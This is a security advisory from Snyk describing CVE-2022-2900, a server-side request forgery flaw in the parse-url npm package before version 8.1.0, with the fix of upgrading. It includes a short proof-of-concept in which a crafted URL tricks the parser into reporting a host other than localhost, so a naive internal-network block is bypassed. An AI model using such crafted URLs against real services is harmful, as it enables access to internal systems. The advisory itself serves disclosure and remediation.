Server-side Request Forgery (SSRF) Affecting parse-url package, versions <8.1.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.15% (53rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-PARSEURL-3023021
  • published14 Sept 2022
  • disclosed14 Sept 2022
  • creditranjit-git

Introduced: 14 Sep 2022

CVE-2022-2900  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade parse-url to version 8.1.0 or higher.

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper detection of protocol, resource, and pathname fields. Exploiting this vulnerability results in bypassing protocol verification.

PoC:

import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }

CVSS Scores

version 3.1